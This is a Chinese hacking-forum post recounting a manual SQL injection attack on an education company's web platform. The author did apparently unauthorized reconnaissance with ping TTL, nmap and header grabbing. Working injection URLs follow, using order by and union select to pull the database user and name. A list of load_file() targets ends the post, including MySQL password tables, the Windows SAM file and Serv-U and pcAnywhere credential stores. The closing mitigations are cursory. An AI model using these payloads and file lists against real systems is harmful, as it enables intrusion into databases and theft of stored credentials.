找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2055|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
题记:; i" t0 u+ |+ B; U0 r. j; C
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……- j9 _3 a. a4 O! Y) l
第一步:获取需要的信息
2 ~- x9 N# r1 I8 B由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。9 d- X( s$ R& E. G1 ^' W1 z
注:以下为保护特用XXX代替敏感信息( n3 U, \) I: b
顺手先PING了一下他们的域名:
3 M* S" M6 Y, B/ \6 `ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
) \2 ?8 |- W3 j" d/ w64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms6 e+ w7 ]- r, |5 g
顺便了解一下TTL,学好基础知识才能一路顺风:
+ t, U! Z+ ?' r4 K1 XTTL:(Time To Live ) 生存时间5 |$ X- r# j- c- i2 G7 i! h
指定数据包被路由器丢弃之前允许通过的网段数量。" Y6 V0 J( ?' i. B2 q0 o
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
6 Y4 ?% j/ B! Z# z1 C) K使用PING时涉及到的 ICMP 报文类型
2 l' D: V6 [8 J" Z一个为ICMP请求回显(ICMP Echo Request)
4 B; }7 Q; o% l% o7 n1 q" s一个为ICMP回显应答(ICMP Echo Reply)
  f8 K) Q3 T8 X5 @; v* gTTL 字段值可以帮助我们识别操作系统类型。
. j9 V  v  l5 ^/ l! r6 f! \UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255, i. Z- @2 Z9 P$ X4 Y- n, t
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
5 s, a) }" O6 \3 a/ C7 \  a+ m* K微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128. ^! j6 R0 C8 }/ T; K1 n( M6 z
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32" W& L: {8 U$ F2 y. w$ X1 l) A& j6 }
当然,返回的TTL值是相同的
! c) y0 c% j% }1 x. ~& A8 ]' Z# y7 L. c但有些情况下有所特殊' a! P. V3 N% ]9 `/ m, @; @* `
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 646 f5 B! W. ?' \2 J
FreeBSD 4.1, 4.0, 3.4;& J, c$ {; {- O" e: v- o8 x+ o
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;1 Z+ O9 F2 W6 t/ E' k# S( U/ p
OpenBSD 2.6, 2.7,
! F2 w6 a4 k! d- D5 l* i$ P+ ^NetBSD+ M+ F+ S% d  ^1 L4 K2 ]+ H
HP UX 10.20
* p( Y2 E# q$ G# \& g' V) m2 NICMP 回显应答的 TTL 字段值为 255" R) p( e3 u4 V) S3 Z9 ~7 z
Windows 95/98/98SE/ u/ l. [$ D$ g8 q) e
Windows ME) ]/ s' q3 [% v( w% j# m
ICMP 回显应答的 TTL 字段值为 32$ r9 ?/ B1 ^+ `3 h& F" o3 m
Windows NT4 WRKS
1 Y! A( ^' r) V8 ?7 x; z5 {, _Windows NT4 Server
/ o6 r& C2 Y3 B4 B% A( BWindows 20006 b6 L# [+ u5 l: t
Windows XP
" X+ D" G! v% h/ f1 q, w8 KICMP 回显应答的 TTL 字段值为 128
. A. i1 d% n: J' Z这样,我们就可以通过这种方法来辨别操作系统
: f% r7 B: Y5 X- STTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255. f* ]) l& \1 ^; i  p
用NMAP扫描一下:
3 U4 O* D! g  I  }  \/ xnmap -sT -O XXX.XXX.XXX.XXX9 n9 F& F0 V9 ~& E5 }
如果没有装WinPcap则会弹出提示:
" S# `0 O# H6 K! JWARNING: Could not import all necessary WinPcap functions.  You may need to upgr
% }9 x, G3 b% N9 v% \  }* L- Yade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(1 ?& |) ?0 X9 ]# q' p9 }. G' B" C
) mode — Nmap may not function completely
" ?; N4 V; j- C3 n% o# O) ^/ |8 ~TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher$ t* ^4 i! O% d# U) ]0 A
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
$ T" d6 x3 @( j4 e; ^( Apcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
5 M6 \% h' t. l7 a, {: e6 xd later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v' [, G( Z* R% I  H8 P- n
ersions, you may be able to take iphlpapi.dll from another system and place it i: t! n9 m5 s, r0 v6 b
n your system32 dir (e.g. c:\windows\system32).
$ N# R9 F8 T% g& }6 D6 ^& fQUITTING!
) o6 a& N5 ^, e+ J" a3 X% e到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe, J8 o& i8 b1 ]0 n4 D( V* H2 n  `( a
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
7 b$ ^8 ~. y1 |9 T/ KInteresting ports on XXX.XXX.XXX.XXX:
, t! ~  Y% D1 u: y7 gNot shown: 986 closed ports- K6 D  o  q$ L; l* F
PORT     STATE    SERVICE  B% C; G, E! z1 o7 ^4 B
21/tcp   open     ftp6 a- M0 C7 c& y! n
22/tcp   open     ssh
7 L$ d6 G6 ]8 ?; c23/tcp   open     telnet
% I  Q/ N4 I9 v' i! k80/tcp   open     http
" i. g/ M# O# E111/tcp  open     rpcbind
4 N+ \7 ]- J7 k! E; d135/tcp  filtered msrpc
! |" {/ v/ @2 Y5 `- k  i139/tcp  filtered netbios-ssn/ B- _2 I- N( v5 ~; _6 x3 o- A
445/tcp  filtered microsoft-ds# |! U( H2 g, q/ i# Z
513/tcp  open     login6 S2 o& G/ X3 j. Y
514/tcp  open     shell' {# M# J; ?9 m( }
593/tcp  filtered http-rpc-epmap! N( o3 K) @  ^
1720/tcp filtered H.323/Q.931
2 `2 j; g& c; S5 L( f: m) r3306/tcp open     mysql& c" B% @" B' e! M5 s5 k" H
4444/tcp filtered krb524
3 G" e" d! V% z0 L1 |, K  ]Device type: WAP, }3 F% v0 b8 z1 g+ U" O
Running: Linux 2.4.X4 X3 b1 H( p$ y" P# M) Y  f
OS details: DD-WRT (Linux 2.4.35s)5 ~- _+ C2 t0 B
Network Distance: 13 hops, {4 |4 M1 R( f: m- ]* k7 C" b
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:# @' c0 M- l, ]5 J
login as:# P2 N! m" o1 O, x5 k  ]
Telnet23端口也是开着的,用telnet 命令链接一下:
4 a* }+ Y( B  n2 n' Z/ dtelnet XXX.XXX.XXX.XXX
+ l# p. Y& Q( B+ z4 i1 j) B提示:/ P$ J+ I% _  X9 i4 m0 W
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
3 W$ h1 Q& }* AKernel 2.6.18-92.el5PAE on an i686( U" e3 [* J$ {3 u$ |$ P
login:
" X5 K9 h8 E( n9 g+ {! F( r获取HTTP头信息:' W6 o9 }7 {1 y" t/ t% N) i
在本地执行如下PHP代码
! C* Z" u4 ]) g2 s+ r<?php& {4 x& N$ X2 i3 X
$url = ‘XXX.XXX.XXX.XXX’;
% m$ V/ B) V& p7 ]1 h! vprint_r(get_headers($url));
; ~% b% h4 `2 qprint_r(get_headers($url, 1));7 l; x% ^/ f1 ?3 f. n- a, s
?>
; N" Z" r: E8 O& I将以上代码保存为PHP文件,执行:7 j, z( _* j( j0 f% [
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )5 i' ?2 L' @0 O5 q! T
现在可以得出结论:0 k% n5 [% Z: T/ z; o; w& ]  t
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga): |# J' z$ k- P! R% ?
内核版本:Kernel 2.6.18-92.el5PAE on an i686
) _+ w. o4 Z5 A& d% K/ j, O) x4 i6 }WEB服务器版本:nginx/0.7.61; ~' B4 Y7 [+ C; W' Y! k. k, o" T
第二步,开始测试寻找漏洞$ B, h- x2 }- w2 ^0 E
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
$ H7 u! J. y/ A; I# i  P1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的$ s( @7 t1 a% @; H2 w
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试* W6 a8 y) ]% ~+ c" p( r' c
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
6 G: u. z3 B8 j0 jhttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
9 O2 Q$ V; [) E: C' F% v& n& u恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续$ A: j' y5 u7 g- [4 m" k( s
3、手工注入:; _8 i* M& o" E5 e
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
# v/ h9 k  h% h, G3.1 猜测当前表字段数! ]/ n7 l1 R$ N* n# q
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
" b% x& L1 q* O! J此处猜测有个简单的算法,都是有技巧的吗,呵呵
+ K, f7 T* F% ]% P* k( f4 D6 t算法简单如下:
  t1 y9 m9 w/ ~第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
/ J8 m' m4 h2 P第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;" \" c9 u! q# m1 r1 [! f
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
3 Z* d& _' M& U5 M9 k& |以此来判断,是否过界,配合取中算法猜出字段数。6 m8 a! P6 E& ?  J
举例:
, U$ E4 l; P4 [: ihttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
8 o; [. J1 n8 |: T) X1 `# Hhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误" ]9 p4 q: G! c9 ~
此时3则为我们要找的字段数。
. T8 Y/ ^9 Q) H" }9 x7 o$ C3.2 配合union联合查询字段在页面所位置% n# [; W7 c% u2 r9 ?# n5 Q/ J
我们已经知道了字段数为3,此时则可以做如下操作:
# ?9 H2 o2 r* B% u6 ?  Chttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
4 s% j9 J- w- {) V( u; E
- R$ W8 l- }4 f+ p9 x这样就可以测试到哪些字段在页面上有所显示了,如图:. }/ m# x) F6 X1 o' S

  T2 h. x6 x$ }. A' W3.3 查敏感信息7 o) L; F- B3 F
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。6 T) _( c6 K( Y+ Y6 T
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()7 w7 t$ w9 H' P2 h5 [! t
3.3.1 先查数据库用户、数据库名,以备后用,如图:5 s! v6 R, T& K8 Y7 ?- ?

1 W: T0 `2 M0 i5 w! n* E0 _. `; D6 ~得到数据库用户为root、数据库名为DBxx;" w" u0 {! `" _) j- s4 R4 N8 E% {" A
3.3.2 查配置文件. h1 J9 Z- `4 K  g6 b
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
% Z/ I& e. j+ G/ a1 o: `查看文件有一定的条件限制:
2 o, r9 h4 Y2 i7 r欲读取文件必须在服务器上
0 {8 b/ @( L8 ?6 I3 O5 y! L必须指定文件完整的路径
+ F+ c2 |1 m7 w. I  o* \6 X必须有权限读取并且文件必须完全可读! q9 a2 S: k& [
欲读取文件必须小于 max_allowed_packet9 E" L6 l: \( N, h0 K
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。* B) I) U3 {! N) M8 k% {9 v
常用的一些:
6 D, b( F2 J0 s3 b3 A7 s% z/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件5 {8 @5 i& h0 F
/usr/local/apache2/conf/httpd.conf5 D% {1 K. h, i/ ?& D
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置3 N9 t' F: f4 A
/usr/local/app/php5/lib/php.ini //PHP相关设置
# E  A1 M0 X+ {/etc/sysconfig/iptables //从中得到防火墙规则策略2 R, V- Q- t: u$ \( c' i$ B
/etc/httpd/conf/httpd.conf // apache配置文件
4 ?7 I. h$ y/ h/etc/rsyncd.conf //同步程序配置文件" f% m7 }: Z. b  h7 X4 E! Y
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.0 _" s" a) b$ \: V" ]
/etc/my.cnf //mysql的配置文件
& }9 a; W5 r1 ^1 _4 s4 y) B/etc/redhat-release //系统版本
( t. M0 i/ E- \' P/ o5 a4 X0 l/etc/issue9 V5 ^+ Q  k7 M* l, x/ r7 v$ q
/etc/issue.net
7 n. S1 h1 z# u: zc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码# b, q* p& v, T  S' L3 q
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码  G# F5 e5 W$ V, T& ^6 @2 A& r, b( n
c:\Program Files\Serv-U\ServUDaemon.ini" [- F; T$ ?* ^& G
c:\windows\my.ini //MYSQL配置文件
5 U2 s9 p$ K6 b, M5 t) M( Hc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件! c2 M0 s8 Y1 m
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
' L: g5 N  w% c+ D  E/ _5 \c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
; Z8 D1 R: O7 X$ t4 h" g; ^3 i2 k3 vc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此. D4 v0 P, l1 X+ m$ C+ K
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
# c/ L: V1 h2 ]/ z6 fC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件# B) k3 r6 i! N& n0 Q" t! Z. O
//存储了pcAnywhere的登陆密码5 |) p7 i# m( C7 h' g; l, o5 H
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
. q! q) J9 D9 }" y7 y; b这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
( b4 j: _' `* q' P. p1 A最后:防范措施
3 M7 w* B* B8 x& Z0 [6 o3 |1、修复PHP注入漏洞;
' _# @! T8 Y, Q2、Mysql使用普通权限的用户;* v! f# A& z0 r" K) J
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表